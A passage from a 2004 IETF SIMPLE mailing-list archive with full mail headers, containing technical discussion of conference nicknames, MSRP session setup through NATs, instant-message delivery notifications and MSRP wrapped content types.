users could impersonate others in the conference.

As I commented in SIPPING this morning, this has many similarities to 
the identity stuff anyway. It's just that in this case, the UAS that the 
UAC wants to tell its name is a conference focus.

One might also imagine a system, where the conference server can assert 
a nickname that has been properly set up beforehand. For example, 
example.com's conference server might have an interface for requesting 
and getting nicknames, perhaps bootstrapped to some existing credentials 
the user may have at example.com. These nicknames could then be used in 
all conferences at that domain.

This would prohibit anyone from stealing a nickname, since it would 
persist over conferences, and the fact that the conference server had 
asserted the nickname could be seen by the other participants.

Similar functionality exists on Internet chatboards, where visitors can 
still post (using an invented nickname), but registered users are 
offered perks like avatars and wider priviledges (and their nickname 
can't be stolen).

> It seems that the name could be set when you set up the session. If this is
> the case, then the display name of the From is very clear you can put any
> alias you want in it. The chat controller can tell you that name is not
> acceptable thought, in practice, there is no fundamental reason you can't
> have people with the same nickname and just have the conf server append
> something to make them unique.

Yes, that's possible. However, how would a participant joining a 
conference request that the From is used instead of, say, 
P-Asserted-Identity? Also, changing the entire From suffers from the rfc 
2543 compatibility problems already mentioned elsewhere. I can also 
think of scenarios where the display name alone is not enough, but there 
is a need for a URI as well. E.g., From/To in CPIM is a display name and 
a URI. This URI may not always be a SIP URI.

> RTP/RTCP had different requirements for this because you could join a
> multicast session with effectively no signaling with all the participants so
> there was a need to continuously and adaptively flow the name information as
> the conference changed. Since this this centralized conferencing, you can
> get the names from the centralized thing.

Exactly. And the centralized point should also police the used nicknames 
so that I won't be able to send messages using someone else's nickname.

> Say two people joined with nick name of anon. The chat mixer may identify
> them as anon1 and anon2 in the session and you can send a private message to
> one of them by sending to location for anon2 (which would be an anonymous
> perhaps on the same box as the mixing was happening on).

Yes, that would work also.

Cheers,
Aki

> Cullen
>  
> 
> 
> 
> 
> 
> 
> 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 03:33:37 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02128
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 03:33:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axiro-0006DJ-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:33:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axiqu-00067o-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:32:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiqH-00062H-00; Mon, 01 Mar 2004 03:32:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiqH-0000eI-1p; Mon, 01 Mar 2004 03:32:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axipl-0000cJ-9Y
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:31:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02005
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:31:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axipj-0005z6-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:31:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axiok-0005r7-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:30:27 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axino-0005cm-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:29:28 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 00:40:55 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i218Su1m014318;
	Mon, 1 Mar 2004 00:28:56 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK35289;
	Mon, 1 Mar 2004 03:28:51 -0500 (EST)
Message-ID: <4042F441.9050003@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: fluffy@cisco.com, bcampbell@dynamicsoft.com, rsparks@dynamicsoft.com,
        rohan@cisco.com, adam@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] MSRP & Comedia
References: <2038BCC78B1AD641891A0D1AE133DBB701797803@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 03:28:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,OFFERS_ETC autolearn=no 
	version=2.60
Content-Transfer-Encoding: 7bit

Hisham,

I agree. The offer not only indicates the details of how you want to 
communicate IM, it indicates *that* you want to communicate with IM. If 
you send an offerless invite, the offer you get may only be for voice, 
even if the UAS is capable of IM.

You can use callerprefs in the hope of getting a device that is at least 
capable of using the media you want. But that isn't sufficient to ensure 
the device will offer those media. It might be willing to accept a 
medium that it won't offer on its own.

	Paul

hisham.khartabil@nokia.com wrote:
> In some cases, different INVITEs cause different applications to start at the UAS. The way to differentiate between those INVITEs is sometimes by using the sdp as a clue. For those devices, receiving INVITE with no sdp might cause problems. The UAS needs to guess what application to start.
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Cullen Jennings
>>Sent: 27.February.2004 08:50
>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>Cc: simple@ietf.org
>>Subject: [Simple] MSRP & Comedia
>>
>>
>>
>>This is a half baked idea that I am just tossing out as food 
>>for thought
>>
>>Consider a systems where something like the UA that sends the 
>>answer sends
>>the VISIT. 
>>
>>Consider the cases where A want to set up a MSRP session with B.
>>
>>A is behind a NAT and does not want to use a relay. A sends 
>>an INVITE with
>>no offer. B sends an offer, gets back an answer and A sends the VISIT.
>>A -> inv    -> B
>>A <- offer  <- B
>>A -> answer -> B
>>A -> visit  -> B
>>
>>B is behind a NAT. A sends an offer and B sends an answer and 
>>A sends VISIT.
>>A -> offer  -> B
>>A <- answer <- B
>>A <- visit  <- B
>>
>>A and B are behind NATS. A sends INVITE no offer, B knows 
>>relay is needed
>>and gets one and sends offer.
>>
>>The underlying principal is basically if you don't know what 
>>port you are
>>going to receive media at (which is the case with a NAT) you 
>>should not be
>>making any offers and if you make an offer the assumption is 
>>that the other
>>side and send media (a VISIT) to that and have it work.
>>
>>The fundamental thing I am trying to avoid is two vendors 
>>both saying they
>>have MSRP compliant systems yet still having them fail to be 
>>able to talk to
>>each other because they both expect the other one to host. 
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 03:34:09 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02151
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 03:34:09 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axirr-0000sH-IE
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 03:33:39 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i218XdfE003355
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 03:33:39 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axirr-0000s2-4p
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 03:33:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02139
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 03:33:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axiro-0006DO-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:33:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axiqv-00067v-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:32:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiqH-00062H-00; Mon, 01 Mar 2004 03:32:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiqH-0000eI-1p; Mon, 01 Mar 2004 03:32:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axipl-0000cJ-9Y
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:31:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02005
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:31:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axipj-0005z6-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:31:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axiok-0005r7-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:30:27 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axino-0005cm-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:29:28 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 00:40:55 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i218Su1m014318;
	Mon, 1 Mar 2004 00:28:56 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK35289;
	Mon, 1 Mar 2004 03:28:51 -0500 (EST)
Message-ID: <4042F441.9050003@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: fluffy@cisco.com, bcampbell@dynamicsoft.com, rsparks@dynamicsoft.com,
        rohan@cisco.com, adam@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] MSRP & Comedia
References: <2038BCC78B1AD641891A0D1AE133DBB701797803@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 03:28:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,OFFERS_ETC autolearn=no 
	version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hisham,

I agree. The offer not only indicates the details of how you want to 
communicate IM, it indicates *that* you want to communicate with IM. If 
you send an offerless invite, the offer you get may only be for voice, 
even if the UAS is capable of IM.

You can use callerprefs in the hope of getting a device that is at least 
capable of using the media you want. But that isn't sufficient to ensure 
the device will offer those media. It might be willing to accept a 
medium that it won't offer on its own.

	Paul

hisham.khartabil@nokia.com wrote:
> In some cases, different INVITEs cause different applications to start at the UAS. The way to differentiate between those INVITEs is sometimes by using the sdp as a clue. For those devices, receiving INVITE with no sdp might cause problems. The UAS needs to guess what application to start.
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Cullen Jennings
>>Sent: 27.February.2004 08:50
>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>Cc: simple@ietf.org
>>Subject: [Simple] MSRP & Comedia
>>
>>
>>
>>This is a half baked idea that I am just tossing out as food 
>>for thought
>>
>>Consider a systems where something like the UA that sends the 
>>answer sends
>>the VISIT. 
>>
>>Consider the cases where A want to set up a MSRP session with B.
>>
>>A is behind a NAT and does not want to use a relay. A sends 
>>an INVITE with
>>no offer. B sends an offer, gets back an answer and A sends the VISIT.
>>A -> inv    -> B
>>A <- offer  <- B
>>A -> answer -> B
>>A -> visit  -> B
>>
>>B is behind a NAT. A sends an offer and B sends an answer and 
>>A sends VISIT.
>>A -> offer  -> B
>>A <- answer <- B
>>A <- visit  <- B
>>
>>A and B are behind NATS. A sends INVITE no offer, B knows 
>>relay is needed
>>and gets one and sends offer.
>>
>>The underlying principal is basically if you don't know what 
>>port you are
>>going to receive media at (which is the case with a NAT) you 
>>should not be
>>making any offers and if you make an offer the assumption is 
>>that the other
>>side and send media (a VISIT) to that and have it work.
>>
>>The fundamental thing I am trying to avoid is two vendors 
>>both saying they
>>have MSRP compliant systems yet still having them fail to be 
>>able to talk to
>>each other because they both expect the other one to host. 
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 03:46:48 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02598
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 03:46:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj4Z-0007QJ-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:46:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj3T-0007Iz-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:45:40 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj2v-0007Di-00; Mon, 01 Mar 2004 03:45:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj2r-0001ja-3j; Mon, 01 Mar 2004 03:45:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj2K-0001i8-T7
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:44:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02542
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:44:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj2I-0007AI-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:44:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj1K-00075A-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:43:27 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj0M-0006zc-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:42:26 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218gK001439;
	Mon, 1 Mar 2004 10:42:20 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 10:42:08 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i218g8hr031138;
	Mon, 1 Mar 2004 10:42:08 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00u7lOrN; Mon, 01 Mar 2004 10:42:07 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218g7O09660;
	Mon, 1 Mar 2004 10:42:07 +0200 (EET)
Received: from nokia.com ([10.162.252.221]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 10:41:57 +0200
Message-ID: <4042F755.3010202@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Paul Kyzivat <pkyzivat@cisco.com>
CC: Eric Burger <eburger@snowshore.com>, simple@ietf.org
Subject: Re: [Simple] RE: Advanced IM requirements
References: <4A3384433CE2AB46A63468CB207E209DB1A213@zoe.office.snowshore.com> <4042DBCA.9050007@cisco.com>
In-Reply-To: <4042DBCA.9050007@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 08:41:57.0362 (UTC) FILETIME=[0E553520:01C3FF69]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:41:57 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



ext Paul Kyzivat wrote:
> 
> 
> Eric Burger wrote:
> 
>> I agree.  Again, this highlights why IMDN is at the CPIM, and not SIP, 
>> level.
>>
>> Further, what is the use case for MDN in session mode?  Would anyone 
>> EVER use it?  I doubt it: if you are in a session, presumably you are 
>> interactive, which means you have OOB methods for knowing the message 
>> wasn't read (e.g., no response from the other person).
> 
> 
> I agree it doesn't seem like something that normally would be used. But 
> there may be some cases. I may want explicit confirmation that a 
> particular message has not only been delivered, but read. (This might 
> require the UAS to demand some explicit confirmation from the end user 
> before sending the confirmation.)

I agree this is possible, not sure it's that useful though. I don't 
think there is really a need for any protocol machinery here, but it is 
best handled in the traditional way, similarly to a voice call:

-"Did you understand what I just wrote?"

> Another case is with an IM conference. If I send a message to the mixer, 
> requesting confirmation, ideally that would be an end-to-all-ends 
> confirmation. The mixer would have to request and receive confirmation 
> from all recipients before confirming to sender.
> 
>> Given that assertion, can we say IMDN's are page mode messages.
> 
> 
> Based on above, I say NO.

I'd say yes, but that doesn't mean CPIM level reports should not be 
defined. There is still the case of these notifications needing to 
traverse CPIM gateways. I think that is still the most valid use case 
speaking in favor of CPIM-level read reports.

Cheers,
Aki

> 
>     Paul
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 03:46:52 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02619
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 03:46:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj4d-0007Qs-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:46:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj3V-0007JM-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:45:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj2v-0007Dk-00; Mon, 01 Mar 2004 03:45:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj2s-0001jo-Np; Mon, 01 Mar 2004 03:45:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj2M-0001iD-6C
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:44:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02545
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:44:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj2J-0007AT-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:44:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj1O-00075t-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:43:31 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj0S-0006x5-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:42:32 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-2.cisco.com with ESMTP; 01 Mar 2004 00:53:16 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i218g01m022644;
	Mon, 1 Mar 2004 00:42:01 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK35520;
	Mon, 1 Mar 2004 03:41:56 -0500 (EST)
Message-ID: <4042F753.30300@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: bcampbell@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] MSRP: Wrapped types
References: <2038BCC78B1AD641891A0D1AE133DBB7017977FD@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 03:41:55 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

If we are to do more than leave as is, then I think we need to revisit 
requirements. I have the impression that the people raising issues may 
have different notions of what the requirements are.

For instance, if there is a requirement to have messages wrapped in 
cpim, and then the cpim wrapper must be signed, and using just signed, 
or just cpim isn't ok, then we can't meet the requirement.

	Paul

hisham.khartabil@nokia.com wrote:
> My vote is to leave it as is. This is a solution that we were comfortable with after a long debate. The new proposals add no benefit.
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Ben Campbell
>>Sent: 27.February.2004 22:53
>>To: simple@ietf.org
>>Subject: [Simple] MSRP: Wrapped types
>>
>>
>>Another issue came up during the discussions several of us 
>>had a SIPIT. 
>>I am separating this out from the MSRP/SIMS harmonization 
>>email, as it 
>>is orthagonal to that.
>>
>>Several people commented that the existing "accept-types" and 
>>"accept-wrapped-types" were overly confusing and error prone. 
>>To recap, 
>>the point of this mechanism is to allow an MSRP device to accept a 
>>number of formats, but require them to be wrapped in an 
>>envelope of some 
>>sort. The motivation behind this is that a CPIM gateway may allow any 
>>number of content-types, but insist that everything be wrapped in a 
>>message/cpim envelope.
>>
>>The existing mechanism says that any format listed in 
>>"accept-types" can 
>>occur anywhere in a body, including at the root. Formats listed in 
>>"accept-wrapped-types" cannot occur at the root; that is, 
>>they must be 
>>wrapped inside of some format listed in "accept-types". This 
>>solves the 
>>problem, but it is pretty complicated and difficult to understand.
>>
>>Two possible alternatives were offered:
>>
>>1) Get rid of the "accept-wrapped-types" attribute, and 
>>instead add an 
>>attribute that means "I require CPIM". This would mean that 
>>all content 
>>must be wrapped in message/cpim envelopes.
>>
>>2) Generalize option 1 a little bit by adding an "envelope" 
>>attribute. 
>>This attribute would contain a single format entry. All 
>>content must be 
>>wrapped in that format.
>>
>>And of course, there is an implied item 3: Leave it as is.
>>
>>Thoughts?
>>
>>Thanks!
>>
>>Ben.
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 03:47:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02644
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 03:47:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj4g-0001xb-00
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 03:46:54 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i218krNr007530
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 03:46:53 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj4e-0001xN-4v
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 03:46:52 -0500
